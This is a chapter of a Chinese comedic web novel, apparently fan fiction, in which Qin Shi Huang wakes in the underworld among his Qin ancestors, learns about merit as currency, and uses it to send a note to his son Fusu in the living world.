《大秦地府日常》 初入地府 作者有话要说:
【请务必过文案底部排雷后再入坑!】 【重点强调:无CP亲情向,非正史位面!】 【每天中午12点左右更新】 大一统四十三年。 大秦的主心骨、统御天下六十多载的始皇帝陛下陨落了,享年八十岁。 他自沉睡中苏醒,耳边仿佛还能听见儿孙和臣民的哀恸哭泣声。 但很快,这些幻听就被另外几名男子的交谈取代了。 始皇没有急于睁眼。 他凝神细听,静静分辨那些人是谁、都在说些什么。这些声音大多都很陌生,叫他难以与认识的人一一对应。 首先开口的是一个沉稳的声音: “半个月了,政儿缘何还未苏醒?” 另有个温雅些的音色附和: “我等来此之后都是直接恢复神智的,政儿的情况明显有异,叫人实在忧心。” 这人的声音略有些耳熟,始皇觉得自己应该在哪里听过。 一个浑厚的嗓音紧接着问道: “黄泉府君怎么说?” 最后是个语气吊儿郎当的家伙: “他知道个屁!一问三不知!要他有什么用?还不如让寡人去当这府君呢!” 场中一时沉默下来。 片刻后,最先开口的那位训斥他: “稷儿!注意点形象!不准说脏话!你这又是跟哪个学来的坏毛病?” 那人敷衍地“嗯嗯啊啊”应了两声,但是没有回答后面那句质问。一副死猪不怕开水烫的架势,光听声音就有些欠揍。 始皇捕捉到了关键词——政儿、黄泉府君、寡人、稷儿。 稷是始皇曾祖父昭襄王的大名,人送外号战国大魔王,最爱欺负什么赵王、楚王、齐王之流,杀神白起便是他麾下大将。 看来这里是死后的世界没错了。 于是他不再犹豫,睁开双眼打量周围。 始皇发现自己正仰躺在某张床榻上,上方是繁复奢华的玄色帐幔。撑着身子坐起来环视一圈,入眼尽是熟悉的装潢布置。 这里是他的寝殿,却又不是他生前居住过的寝殿。 自从阿房宫建成并正式命名“玄宸宫”之后,始皇帝入住了其中正宫乾元宫。 哪怕是修建骊山陵地宫时,太子扶苏也为着父亲死后能过得舒适,命匠人复刻了一整套的大秦王宫。不仅在布局上复刻,连室内布置也一并仿照宫殿里来。 所以地宫中完全见不到寻常墓穴那种砖垒石砌的模样,恍惚间让人以为自己回到了阳间人世。 但始皇知道这里是地府。 因为墙上正挂着一副他珍藏的画作,那是多年前爱子扶苏为他画的父子对弈图。他一向爱惜,只在寝殿中挂了一个月就取下来妥善收好了。 毕竟大秦虽已有了烧制琉璃的法子,能为画作装裱起来隔绝空气氧化,可光照同样会叫某些颜料褪色。 后来装扮地宫的时候,他才重新拿出这幅画。地宫中暗无天日,便没了这些顾虑。 始皇站在画前追思了一番天人相隔的爱子,心中有些忧虑。也不知扶苏在阳间过得如何,有没有因为父亲的离世受到打击而一病不起。 他八十才驾崩,扶苏今年也六十多了。 六十可不年轻了,始皇真的很担心过两天就会在地府看见他家太子的身影。 里间的动静似乎惊动了在外间明堂中交谈的人。 有人提高声音问道: “可是政儿醒了?” 始皇收敛心神,转身大步来到明堂。 他先向诸位先祖行礼问安: “小子政,见过各位长辈。” 行动间,始皇发现自己的身体轻盈了不少。 低头便见原本苍老的手已经恢复了年轻时候的模样,而明间中的众人也俱都维持在二十岁至四十岁的样子。 可见鬼魂并不会维持在临死时的状态。 似乎看出了他在想什么,端坐上首一直未曾开口的那位秦君和蔼地解答道: “魂魄一般都是定格在各自最风华正茂的年纪,不过你若嫌这般看着太不稳重了,也能自行修改。” 说着指了指看起来四十的沉稳男子: “这是你高祖父驷儿,他就不喜二十出头的长相。” 惠文王嬴驷,和张仪君臣相得的那位。 又指了指看起来二十的风流青年: “这是你曾祖父稷儿,最近这模样还是他改过的。以往他喜欢扮成十几岁的少年出去骗人,前两日才改了喜好换成了青年模样。” 始皇:…… 其余秦君都端端正正坐在桌案附近,唯独嬴稷放浪形骸,坐姿懒散随意,看起来画风突变。 所幸秦王服制相对繁复,怎么折腾都不容易走光。 嬴稷拍拍身边左侧的空位: “政儿,快来坐。来跟曾祖父讲讲你那好大儿扶苏,寡人很是喜欢他。” 始皇:猜到了。 扶苏也不知是怎么自学成才,长成了一副昭襄王二号的模样。嬴稷对于这个很类自己的玄孙非常感兴趣,深恨这为什么不是他儿子。 每每提起,就要恨铁不成钢地看向坐在右侧的胖儿子。 孝文王嬴柱把脑袋一撇,不想搭理他爹。 众人各自介绍了一下自己的身份。 始皇的亲爹庄襄王子楚自然不必介绍,父子俩虽然相处时间不多,始皇还是认得出对方的。 方才他听见的耳熟声音便来自子楚。 坐在上首正位的是在场众人中辈分最大的孝公嬴渠梁,和商鞅配合着搞变法的那位秦公,也是全场唯一没称王的秦君。 按照辈分就是:孝公嬴渠梁、惠文王嬴驷、昭襄王嬴稷、孝文王嬴柱、庄襄王嬴子楚。 还差一个嬴稷的兄长武王嬴荡,也就是举鼎不慎将自己砸死的那位,就把“奋六世之余烈”的六世凑齐了。 祖父嬴柱解释了一句: “武王最近刚克服了举鼎的心理阴影,今日找人比赛去了。” 始皇:你们死后的生活还挺多姿多彩的。 鬼魂是不会被大鼎砸死的,所以大家也没管他。死都死了,有点个人爱好也挺好。省得整日里闲得发慌,跟嬴稷似的到处招猫逗狗。 祖宗爱好暂且不提。 始皇比较关心一件事: “地府中人可以得知人世的情况吗?” 他得看看他家阿苏生病了没有,若是生病了,有没有好好吃药。那小子一向怕苦,恐怕会偷偷把药给倒了。 先祖们很是理解他的迫切,毕竟扶苏确实是个容易叫人操心的孩子。多大个人了,还能玩暖手炉把手给烫伤,当爹的哪能不盯着点? 孝公主动放出了直播光屏: “用这个就能看见阳世子孙的情况了,地府中人手一个,一会儿让稷儿教教你怎么用。” 放大的光屏画面里,身着帝王玄袍的扶苏正在批阅奏书。众人对他手里的奏折很感兴趣,孝公便放大了镜头,聚焦在书中内容上。 这是一封请安的折子,出自地方郡府。 某位太守洋洋洒洒一大通,只写了一个中心思想——始皇帝不在了,臣很惶恐,也很不习惯,需要二世陛下的安慰。 文字间把自己描绘得仿若一个小可怜,试图引起者的怜惜。 然而扶苏提笔写下的却是: 「既然惶恐那就别当了,朕可以换一个人接替你。」 嬴稷啧啧摇头: “这都是第几封了?政儿你这招真是绝。” 为了叫儿子不要沉浸在丧父的悲痛中,反伤己身,始皇生前留下了不少后手。 比如示意各地郡守给太子写请安奏折求庇佑,借此强调大秦已经失去了始皇帝,不能再失去二世您了。 扶苏烦不胜烦,前段时间气得封封都回复一个字“滚”。最近脾气好了不少,愿意多写几个字了。 始皇见儿子还算生龙活虎,终于放心了一些。 但他又想起之前先祖们对话说他昏睡了半月的事情。 他便问道: “扶苏之前可有生病?朕到底昏睡了多久?” 父亲子楚先答了一句“生了场小病,不严重,两日就好了”。接着又提起后头那事,反问儿子知不知道他为何会昏睡。 始皇帝摇了摇头,并无头绪。 祖父嬴柱帮忙说了句话: “你问他有什么用?他一个小孩子哪里知道这个,府君都不清楚呢。不过现下既已苏醒,想必不是什么大事。” 小孩子·始皇:…… 孝公示意他们不要答非所问: “时长的话,应当正好是十五天。余出几个时辰,寡人倒是没记。” 子楚补充: “五个时辰多一点,我记得。” 孝公点点头: “那就是阳世的185天了。” 始皇猛然意识到问题的严重性: “阳世已经过去半年了?!” 阴阳两界的时间流速莫非大有不同? “你才来的不清楚,确实如此。阳世过去一日,我们这里才过去一个时辰。” 也就是地府一天是阳间十二天,地府一年是阳间十二年。所以他们这群陈年老鬼在地府过得也不算太无聊,每日总能靠直播光屏找到新乐子。 嬴稷积极给他看自己的光屏列表: “所有儿孙那边都能围观,不拘儿子还是女儿,也包括他们的后人。” 也就是说,自己的直系血脉全都在可选之列中。儿孙越多,能挑的直播视角越多。 在场众人都有不少视角可选,因为始皇帝在世八十年,三十几个儿女繁育出了海量后代。 倒也有非始皇这一脉的子孙,可他们大多不太有出息。围观他们没什么意思,不如去看始皇家的崽子们。 直播间太多了,大家根本看不过来。 也幸好人多,不至于子孙全都在做无聊的事,找不到有趣的能看。 像那些绝嗣的人就比较惨,自己没得看,只能蹭别人家的子孙看看。 始皇感到了窒息: “所以朕这些年做了什么,先祖们都看见了?” 哪有人乐意整天被盯着,先祖盯也不行。 嬴稷摆摆手: “我倒想呢,可惜看不着。” 地府这个直播讲究什么“个人隐私”,所以非得是在公共场所才给直播。 所幸这个公共场所的定义因人而异,比方外人围观秦皇,就只能看见他上朝、举办典礼等大场合时在做什么。 自家先祖权限多一点,寻常处理公务、还有在室外地区时,也能围观一下。 当然,就算在室外也有隐私保护。像是某些人有那种不讲究的儿孙喜欢打野战,这个总不能给祖宗直播现场。 始皇这才放下心来,勉强接受了直播的存在。 嬴稷旧事重提: “所以政儿,你给曾祖父讲讲你每日和阿苏待在寝殿时都会做什么?曾祖父看不到,好奇很久了。” 始皇:…… 除了聊天看书下棋和各自回屋休息,还能做什么?这有什么好好奇的? 始皇决定无视捣乱的嬴稷。 他继续追问时间流速的事情: “大秦如今距离朕驾崩,已经过去六个月了?” 嬴驷算了算日子: “不止,应当是七个月了。” 始皇:? 他补充道: “你停灵在陵寝之外的时候,耗费了差不多一个月。是后来葬入地宫之后,魂魄才出现在地府的。” 接着沉睡了半个月,也就是人间的六个月。加上之前那个月,恰好过去七月了。 始皇先前也发觉了时间上的不对劲。 因为画面中扶苏穿着的是夏装,而他驾崩时还是初冬。大秦的正月在十月,正月初往后推算七个月,便是四月了。 农历四月差不多是阳历的五月份。 一觉醒来儿子已经坚强地独自度过了大半年,始皇哪里还能坐得住。 爱子半年没有父亲的消息,不知得难过成什么样。 始皇试探着询问: “我等既能看见阳世之事,可否与阳世通信?” “当然不行!” 一个陌生的声音插入进来,只见一个人影匆匆从殿外入内,穿着的并非秦王服饰。 先祖们同他打了声招呼,姿态比较随意,并无慎重之色。 他们说的是: “府君你可算来了。” 始皇若有所思。 看来这个黄泉府君,虽然名义上是地府的管理者,但地位恐怕并不超然。即便是鬼仙,也就那样,人世帝王不见得给他面子。 府君也习惯了这般的待遇。 什么鬼仙神仙的,他就是个到处灭火给有大来头的鬼魂善后的倒霉社畜。尤其是生前功绩卓然的人物,身上的功德比他还厚,他敢跟人叫板吗? 在地府,功德就是硬通货。 鬼是有阴寿的,阴寿尽后就得去投胎,用功德可以给自己续命。所以功德深厚的人想的话,能一直不去投胎,过上寿与天齐的日子。 不幸的是他黄泉府君也是一样的,得靠功德续命。保不齐人家能活得比他还长呢,得罪他们实在没有必要。 黄泉府君是赶来给始皇帝结算功德的。 地府早就实现了数字化办公——天下间的位面那么多,有些世界甚至都发展到星际时代了。 要还是人工结算,那么多生灵根本忙不过来。而且还容易出错,引起纠纷。 但即便如此,有一些比较特殊的身份还是得他亲自来结算。不仅可以以示尊重,还能当场得知对方的功德数量,提前交好。 府君否决了始皇不合理的要求之后,便进入正题。他先提起功德的重要性,又介绍了除却延寿之外功德有什么用处。 在地府处处都要用功德,就像阳世处处用铜币那般。功德可以作为货币使用,互相转赠,前提必须是双方自愿,不能强抢。 始皇抓住重点: “那陪葬品?” 府君委婉地表示: “有些不缺功德的人若是喜欢,会与人交易。不过大部分人功德不足,怕是没有闲钱买这些。” 所以陪葬品的价值大打折扣,成了大家虽然喜欢,却也不是谁都会花冤枉钱买的奢侈品。 始皇本就没有售卖的打算,只是确认一下它们的价值。 目前看来精美的陪葬品还是很珍稀的,只不过“穷人”用不起。能从阳世自带大量陪葬品自然占尽便宜,实在不行还能去找冤大头兜售,换取功德。 然而前提是能找到人愿意花钱买。 事实上别人完全可以不买,等你阴寿尽了必须去投胎之后,这些东西就成为无主之物可以随便分掉了。 因而你得找得到那种不差钱的大方买主。 嬴渠梁也提起功德的事情: “族中有些秦君功德不够,大家匀了些给他。” 嬴稷补充: “是寡人匀了不少给他们。” 作为出了大头的那个,嬴稷可不愿意做好人不留名。 始皇闻言了然: “我秦氏一族留存的人多,便能在地府占据人数优势了。” 所以在不影响自身的前提下,自然得互相帮助。 方才府君为他介绍了当前地府空间的魂魄定居情况,地府有众多平行空间。他们这里基本只住了王侯将相,庶民等不和他们待在一起。 这是因为贵族天生更容易赚取功德,庶民则很难。住在一块怕贫富差距太大,庶民遭受欺负。 而且这么多岁月下来,地府里留存的鬼口众多。不多搞点支线服务器,真的会鬼满为患。 始皇帝有点职业病犯了: “既然我大秦人多,可否一统地府?” 黄泉府君:…… 嬴稷夸赞道: “好想法!寡人一直在尝试,可惜不太成功。” 因为鬼和鬼打架是打不出结果的。 顶多功德深厚的能压着功德不够的揍,但又揍不死鬼。过两天人家又恢复原状了,打了也白打。 所以除非仗着人数众多像恶霸一样把别人都驱赶出去,否则很难占领太多地盘。想要别人俯首称臣也不太容易,人家凭什么搭理你。 黄泉府君抹了把脸: “你们消停点吧,死都死了还想着当天子呢!” 嬴柱不虞: “想想怎么了?又不妨碍你什么事。” 府君只好岔开话题: “那什么,我们还是先给始皇帝结算一下功德吧?” 始皇没有意见: “可。” 府君取出一个平板电脑一样的东西,对着始皇帝扫了一下,说是识别身份。 他还解释道: “我们地府都是和天道接轨的,功德计算全由天道法则进行。保证童叟无欺,而且不会出错。” 就这么一扫,信息已经准确识别出来了。某某位面秦朝第一任皇帝嬴政,前面的位面名称是看不懂的标识。 始皇问那是什么,府君说他也看不懂。这是天道文字,不用管它。 “你们可以自己给自己的位面起个名字,反正只是用来和其他位面交流时进行区分的。可以起个好听又好记的,方便彼此来往即可,一般不会遇到重名。” 主要是不同位面来往不多,彼此认识几个就差不多了,自然不会遇见重名。 始皇颔首,没再多问。 这些以后都可以慢慢打听,他还有要紧事。于是催促府君快些,不要耽误时间。 府君一点“功德结算”的按钮,屏幕跳转出一个进度条界面。进度条上方是一串数字,下方则不断刷新起各种明细来。 府君指着那数字: “这是地府如今通用的数字,古印度人发明的,阿拉伯人传播的。因为简单方便,比较好识别。” 始皇以前没见过这种数字,但他自从苏醒后脑海中似乎被灌输过许多知识。因而无论是这里的简化文字还是外国数字,他都能熟练地读取和使用。 不过始皇仍有些不满: “为何要用阿拉伯人的数字?古印度人和阿拉伯人又是何人?不能让我秦人自己发明一种简便数字推行出去吗?” 黄泉府君随口应付道: “陛下通融一些,这个大家都用惯了,不好改的。你看文字用的是你大秦隶书简化来的,这点数字就高抬贵手允许人家分点肉汤喝吧。” 始皇这才满意: “也罢。” 说话间,功德的增减明细已经跳了数不清多少条了,速度飞快。众人都没看清具体有哪些,只看到进度条才走了很小一截,而上头的数字已经跳到天文级别了。 黄泉府君是见识过很多个不同位面的始皇帝的,也见识过三千世界各式各样的大功德人物。 手中的结算界面已经是经过调整修改后的,能够展示绝大多数鬼魂的功德总量。府君自己都没数过它有多少位数,反正几十个零是有的。 结果就这,在进度条走到三分之一的时候还是满了。 府君就这么眼睁睁看着数字继续跳动,但前面有个省略号:9…46213等,具体多少位不清楚。 府君感慨: “这场面我也是很少遇见的。” 虽然大家都说始皇帝要是多活几十年,能多干很多很多事情。可在那数不清的位面里,真正给始皇续了命的也不算特别多。 况且有些世界还会有穿越者一类的,靠着提供后世经验来分走海量功德。 这个位面的始皇算是特殊情况。 他自己原本只是某个同人文世界中的角色,被开挂的主角是他儿子扶苏。但扶苏没有被赋予穿越的设定,就是纯古人。 作者用各种借口把后世很多好东西提前塞给了父子俩,所以没有穿越者搅局。功德完全属于他们自己和研发推行相关技术的臣子匠人,不会被旁人分走大半。 后来父子俩双双重生到另一个大秦,就把这些技术又带去新的世界额外赚了一波功德。 始皇帝身上如今是两世功德叠加,还有他多活了几十年立下的功勋。 最后数字跳出来,几乎是其他位面始皇的数十倍。 众人数了好半晌也没数完有多少位,干脆不数了。知道花不光就行,没必要搞那么清楚。 始皇在确认过自己的功德数量独树一帜之后,抓住机会询问: “所以朕有这么多功德,不该拥有一点特权,比如和阳世联络吗?” 黄泉府君:你不要得寸进尺! 他确实看在功德的份上很礼遇众人,但是蹬鼻子上脸要不得。阴阳相隔是硬性规定,他要是给人开后门是得扣业绩的! 始皇:“会扣多少功德,朕给你双倍补上。” 府君:“……地府公务人员不得收受贿赂!” 始皇:“十倍。” 府君:“一百倍也不行!这是原则问题!” 黄泉府君拒绝和他狼狈为奸,为了防止自己动摇,还迅速消失不见了。 始皇只好去问先祖: “不知诸位长辈可有头绪?” 众人纷纷摇头。 孝公劝他: “我见扶苏过得不错,不通信也没什么要紧的。你就是关心则乱,其实那孩子很坚强。” 始皇却皱眉: “他那是在强撑。” 自己的儿子自己了解,先祖哪里知道阿苏有多依赖他。阿苏从小便是他手把手带大的,除却前世他驾崩那二十年,就基本没离开过他。 正说着,始皇忽然听见了一些动静。 他循声望去,便见空中飘着几套衣衫。它们隔空抬着箱笼进入殿内,而后便开始布置摆放起来。 箱笼被打开,一件件华丽的物什取出,殿中原本还略显空落的位置填上了一件件陪葬品。 始皇第一次见这种场面,愣住了。 其余先祖倒是见怪不怪。 “半年了,陪葬品怎么还没搬完?” “正常,你是没去周围的那些宫室内部逛过。好些宫室还空着,这陪葬品至少还得再搬几年吧。” “说真的,衣服飘着也太诡异了,吓人得很。” 说到这,大家才想起来殿内还有个新人。 连忙为小辈解惑: “这是活人在往墓里送陪葬品,因为鬼是看不见活物只能看见死物的,所以咱们只看得见他们身上的衣服。” 始皇:…… 不是很懂你们地府。 不过仔细想想,活人看不见鬼,鬼也看不见活人,很合理。 先祖接着说道: “其实我们和活人处在两个不同的空间,只是尚未封土的墓穴是个特殊地带,暂时形成了阴阳交汇的情况。” 等到封土完成,阴间的皇陵就和阳间的皇陵分离了。他们现在用的陪葬品,可以理解为陪葬品的“魂魄”,而阳间墓穴中则是它们的“肉身”。 就像始皇帝,他现在是魂魄状态。而他的遗体则存放在主墓室中,二者独立存在。 嬴稷积极地给曾孙展示。 他从桌案上拿起一支笔,然后始皇就看见他手里有支笔,原地还有个笔的虚影,那虚影就是笔的肉身了。 嬴稷转了转笔: “等两处皇陵脱离后,你就不会再看见虚影了。” 活人机缘巧合下见到鬼,就是见的虚影状魂魄,而鬼看鬼是实体。正如现在这样,他们见真实的笔是虚影,见阴间的笔魂是实体。 始皇陷入沉思: “既然这里是阴阳交汇之处——” 那阳间能往阴间填补陪葬品,为什么不能找到一个办法反向朝阳间输送东西? 说干就干。 始皇来到桌案边,取了笔沾墨。 他先在桌上本身就铺展好的白纸上写下了一个字“安”,示意自己安好。 地宫里的人在布置宫室的时候,努力塑造出了生活气息。比如桌上铺着纸张,随时可以供陛下书写内容。 始皇写完一个字之后想了想,又取下腰间常佩的私印在下面盖上。那是个黑龙和玄凤组成的图案,中心处刻了“政”字。 这印章的图案还是扶苏手绘的,堪称独一无二。扶苏自己也有个配套的私印,不过上头的图案不再是成年神兽,而是相对幼态些的。 按完印章,始皇又在下面补了两个字“惜身”,意为要儿子爱惜身体。 大家也不拦着,就任由他折腾。 待他写完才摇头: “你这信只有我们看得见,不信你拿起来看看。原地留下的纸张虚影上肯定空空如也,根本没有文字。” 始皇试了试,确实如此。 但他并不气馁,拎着那张纸不知道在思量什么。 黄泉府君怕始皇乱来,瞧瞧从虚空中探头看了一眼。 因为明堂大门敞开,他在外头探头探脑完全不存在看不到屋内场景的问题。 很快,他就看见了始皇手上的纸张。 府君窃笑了一声,心道都是白折腾。没他帮助寻常鬼魂怎么可能和阳世联系上?还不如省省力气。 他放下心来,收回脑袋不再搭理这边。 始皇却很快放下了那张纸,让它和虚影重叠。确定位置摆正了之后,他将手点在那张纸上,开始往其中输入功德。 功德是一种无形的能量,地府众人天生就能感应到它的存在。所以无论是互相转账还是把它覆在别的东西上面,都不需要旁人去教导该怎么使用。 始皇无师自通学会了给纸张输送功德,试图用这个法子将文字也刻印到现实中的白纸上。 他也不确定能不能成功,但反正试试也不亏,他的功德正好多到用不完。 先祖们都好奇地凑过来围观。 孝公分享他的经验: “物品的魂魄也有阴寿,是和它们的本体相关的。我曾有件很喜爱的常服,因为本体在墓中腐朽,所以地府中对应的那件衣服也变得脆弱不堪。” 后来孝公就往里头输入了一些功德,帮它延续使用时长。虽然现实中那东西仍旧是被朽得只剩些许破布了,地府那件依然可以继续穿着。 孝公认为,始皇往纸张里头输入功德是没有用的。他这样只能增加纸张在地府中的存续时间,影响不到阳世的本体。 始皇没有听他的,继续往里输入功德。 他有一种越来越滞涩的感觉,仿佛已经快塞满了,很快就要塞不下了。 所以他确定孝公的理论是有问题的。 如果这么做只是增加阴寿,按理来说应该没有输入的上限才对。生灵鬼魂的阴寿可以无穷无尽,没道理死物却有上限。 终于,某一刻他听见了轻微地“嘭”。 面前的纸张散为了烟尘消失不见了,原地只剩虚影还在。而原本干净洁白的虚影上,果真多了三个字和一个章。 嬴稷一拍旁边人的大腿: “印上去了!真印上去了!原来只要这样就可以影响阳世啊!妙哉!” 坐在他身边的正是他儿子嬴柱,被拍得龇牙咧嘴。 谁让他爹功德比他深厚,地府打架的实力全看功德多寡。越多的人越能打,他爹拍人手劲贼大。 嬴柱迅速躲开: “要拍就拍你自己的腿!” 嬴稷也不恼,他很快取来另一张纸准备尝试,但被他爹嬴驷拦住了。 嬴驷提醒: “你这纸是从合着的箱笼里取出来的,一会儿你要怎么透过箱笼看见里头的纸印上字了没?” “这还不简单!” 嬴稷把那放纸的小箱子搬开,原地就剩下一个虚影箱笼了。因为是虚影,里面纸的虚影也能透过虚幻的箱壁隐隐看见。 而后嬴稷开始撸袖子: “让让,让让,给寡人让个能写字的空位出来。” 孝公干脆起身,把整个桌案都让给他了。 嬴稷伏案,在桌上摊开纸张,大笔一挥留下了属于昭襄王的墨宝——“阿苏,寡人是你高祖父”。 始皇并不是很想把这种东西送去给他儿子看。 然而嬴稷已经开始兴致勃勃地开始往里头输入功德了,看起来玩得很开心的样子。 只是过了许久,也没见那纸张炸成虚无。 嬴柱着急地问他爹: “怎么回事?怎么又不行了?” 嬴稷收回手,甩了甩: “这东西太能吞功德了,再这么下去寡人要破产。” 最后他把纸往始皇手里一塞: “政儿你来,你功德多。” 始皇只好默默接替曾祖父往里头输送功德,很快发现这次纸张吞掉的比上回要多,花了数倍的功德才成功将之印入本体。 嬴驷沉吟道: “许是稷儿写的字太多了。” 所以政儿之前的谨慎是对的,就该少写几个字。 子楚眯了眯眼: “原来和阳世联络的方法这么简单,难怪方才府君怎么都不肯透露。” 只要见过一次,那谁都能学。政儿许下的好处哪里比得上这个方法带来的收益,更何况消息传出去之后不知要引起多少动荡。 各家都有不肖子孙,谁不想亲自插手,挽救自家的命运? 他们几个在地府待久了,眼馋好儿孙偏又接触不到的时候,也不是没去别的地府位面串过门。 其他的不提,光是二世而亡的大秦他们就见过好些个。这法子要是告知他们,能救多少大秦于危难之中! 嬴稷和子楚对视一眼,交换了一个眼神。 孝公拍板道: “消息瞒下来,不要透露给旁人。若有机会,酌情告知其余位面的政儿。” 所谓旁人,自然是在场六人之外的任何人。他们要把事态控制在一定范围内,免得黄泉府君不管不顾和他们翻脸。 一般人是用不起这个法子的,但是每个政儿肯定都用得起。 嬴驷感慨道: “也是我等灯下黑了。” 方法虽然简单,耗费却着实不小。嬴稷都嫌肉疼,更何况其他人。 能用得起的鬼魂恐怕不多,其他人没那么多功德,就不会浪费功德这么尝试,因为输送到物品里的功德是拿不回来的。 嬴柱忽然开口: “你们说,有人多少发现了这个法子?” 众人面面相觑。 如今想来,应该是不少的。总有不差钱的主闲来无事这么干,然后误打误撞发现端倪。 毕竟万千世界这么多鬼魂,基数实在太庞大了,会让任何事情的发生都不再偶然。 嬴稷忍不住吐槽: “那咱们老秦家是挺倒霉的,居然一直没人发现。” 要是有人发现过,何至于一直无人告知他们?那样的话,以往那些个二世而亡的大秦,也不至于叫人心痛地干看着了。 大家的情绪都不太美妙。 始皇没空关心先祖在悲痛什么,他现在在琢磨一件事——字是印到纸上了,要怎么引导别人把那纸送去给他家阿苏过目? 来往的苦力就算看见了这张纸上有字也不会多想,只以为原本便是如此。 他得想个法子,把纸送到识字的官吏面前去。还得让官吏意识到得把它呈给二世皇帝,而不是无视或者销毁。 沉思良久,始皇伸手去触碰那道写了字的虚影纸张。 他用功德包裹住自己的手掌,尝试拿起。 一开始,并不能触碰到实物。 可他没有放弃,而是增加了包裹手掌的功德数量。 包裹得太厚,就很不方便行动和拿取物品了。所以他又将手上裹着的能量进行了一番压缩,变成薄薄一层。 就这么包裹、压缩、再包裹、再压缩。 渐渐的,他手上裹上了一层有些耀眼的金光。所有人的注意力都被吸引了过来,嬴稷捂住眼睛吐槽他这个太刺目了。 始皇调整了一下金光的色调,将它变成了很浅的淡金色。 这次再尝试拿取纸张时,意外地成功了。 不过同时,始皇也感受到了功德能量在以夸张的速度消耗着。他不再耽误,起身大步走向殿外。 外面有越来越多的衣服来回漂浮,说明这里来了很多苦力搬运陪葬品。周遭一定有管理他们的头目,看服饰就能看出来谁是管事的人。 就算他一时半会儿找不到管事,这么多人见到了从店内飘出来的信,自然会去通知管事前来。 果不其然,纸张刚飘出大殿,便惊扰了许多人。 他们大喊“闹鬼了”,吓得转身就跑。 可碍于秦律的严格,即便跑路他们也没敢把始皇帝的陪葬品丢了。生怕显灵的就是始皇,到时候小命休矣。 所以这群人先是把东西轻轻放下,然后才慌忙逃窜出去。 始皇将功德薄膜覆盖在耳际,清楚地听见了活人的叫喊声。 他低头看看地上毫发无损的陪葬品,又听着耳边嘈杂的惊恐喊声,一时无言。 不多时,有套大秦官服匆匆飘来。 对方一眼就看见飘在空中的纸张,一时不敢伸手去接。始皇见他不动,干脆松开手,任由信纸掉落。 那人这才走过来,伸出双手将它接住。而后只看了一眼上面的文字,就大惊失色。 他惊道: “是陛下的字迹!” “哗”地一声,高喊“始皇帝显灵”的声音又多了许多。 始皇满意地回身,去寻先祖们。 而此时,黄泉府君仍在悠哉悠哉地摸鱼偷闲,丝毫不知某人在阳世闹出了大动静。 朕出去看看 将作少府拿着纸的手在微微颤抖。 虽然这个时代的人们确实都迷信,但传闻中有异象和自己亲自看到,那是两回事。 况且之前半年都好好的,怎么今日突然显灵了?难道是地府出了变故不成? 将作少府仔细看了看纸上的字迹。 他见过始皇帝陛下的字迹,是这样的没错。而且纸张自行飘来这件事做不得假,确实是陛下显灵了。 更重要的是,纸上还盖了陛下的私印。 这方印鉴如果他没记错的话,是被挂在陛下腰间,随他一起封存在了棺椁中的。不仅如此,停放棺椁的大殿如今也已经彻底封闭,谁也进不去。 将作少府深吸一口气,捧着那张纸匆匆离去。他要赶紧遣人将这封信送去咸阳,给二世陛下过目。 始皇回到了殿中。 嬴稷感慨道: “政儿你看生前你把他们给吓的,撞鬼了都不忘把陪葬品好好放下,不敢摔了。” 始皇:…… 嬴稷这会儿看乐子看得高兴,但没过片刻他突然反应过来。 “不对啊,你怎么就把你自己的那封信拿出去给他们了?寡人呢?寡人写的你怎么不拿?” 始皇:当然是因为朕不想拿。 曾祖父写的都是废话,有什么好拿的。 嬴稷不满地说道: “政儿你这样就不对了,就算寡人写的是废话,那也是耗费了很多功德才印到纸上的!不给阿苏看看,那多浪费?” 始皇敷衍地点了点头: “那您等扶苏派人来搜查大殿吧,到时候他就能看见了。” 孝公也拉偏架: “你那纸放在箱笼里呢,要取出来还得先把箱子打开,再拿出去。政儿功德虽多,也不好这么浪费。” 光是送一张纸出去就不知道耗费了多少能量,再来这么一通复杂的操作,实在没有必要。 嬴稷见祖父都发话了,只好不情不愿地答应下来。 地府一个时辰,阳世就过去一天了。 正巧骊山陵就在咸阳隔壁,来往非常快捷。始皇不过应付了一会儿曾祖父的抱怨,又陪其他几位先祖聊了片刻,那头的扶苏就已经收到了将作少府命人加急送来的信件。 他猝不及防地拆开,看见熟悉的字迹和印章,险些失态。 将作少府还送了一张字条来,简单说明了地宫中发生的事情。他能推测出的内容,扶苏自然也能,因而一眼便可确定这是父亲亲手所写。 扶苏立刻唤来了长子桥松: “朕要去一趟骊山,国事便托付给你。” 桥松:!!! 桥松当即劝阻: “父亲,你不要做傻事!” 扶苏:?什么东西? 桥松苦口婆心地劝他: “我知道您很思念祖父,还觉得自己反正年纪大了,早点死和晚点死没有差别。但祖父生前便说了不许您糟蹋身体,您难道要让他在九泉之下也不安息吗?” 扶苏:…… 嬴稷笑得直拍旁边一人的大腿: “桥松这小子真是有趣,这个崽子寡人也很喜欢。” 嬴柱生无可恋地推开他爹。 不是,他刚刚不都躲去别的位置了吗?怎么这次被拍的还是他啊? 嬴柱仔细回想了一下。 好像是方才他们因为政儿出门去的缘故,都起身来到殿门口围观。等政儿回来,大家又各自落座。 而他,习惯性地坐到了他亲爹身边。 嬴柱:我真是上辈子欠他的。 光幕中扶苏被儿子气得太阳穴突突直跳。 他深吸一口气,揉了揉额角: “谁跟你说朕要去骊山陵给你祖父殉葬的?” 桥松这才意识到自己想岔了。 他干笑一声,辩解道: “父亲方才说国事都托付给我……” 这整得和说遗言似的,也不怪他一时会错了意。 扶苏不由无语: “朕是要你这个太子监国。” 非要他说得这么明白才行? 蠢儿子真是没救。 陛下要离京,宫中很快准备起来。所幸只是去近处的骊山陵,准备工作做得很快。 其实宫中早就做好了陛下会时不时去一趟骊山陵的准备,半年下来陛下都没提这件事,反倒叫众人很不习惯。 当初始皇帝还在世的时候,还是太子的扶苏非常黏人。始皇每次巡游,都要把太子带上,父子俩就没怎么分开过。 半年前始皇帝驾崩时,咸阳城中还流传过一则谣言,说是太子扶苏因受不了父亲离世的打击而一病不起。 这个谣言听过的人都觉得很可信,闹得臣子们都真情实感地慌乱过一阵子。直到闭门守孝的太子烦不胜烦,亲自出面辟谣才消停下来。 可见在大秦众人的印象中,二世陛下确实就是个离不开爹的小可怜。 现在扶苏陛下终于忍不住要去骊山陵了。 侍奉多年的老侍者松了口气: “您去看看始皇帝陛下也好,免得在宫中憋久了心里难受。” 扶苏:。 扶苏开始思考,自己在这群人心里到底是个什么形象。 地府中。 嬴稷调整了一下姿势,正襟危坐: “寡人这样,是不是显得精神多了?” 玄孙都要过来了,他可不能继续这么不着调。之前政儿苏醒得太突然了,没给他装模作样的时间,这次怎么也要维持住稳重长辈的形象。 所有人就这么看着他折腾。 片刻后,嬴柱点头: 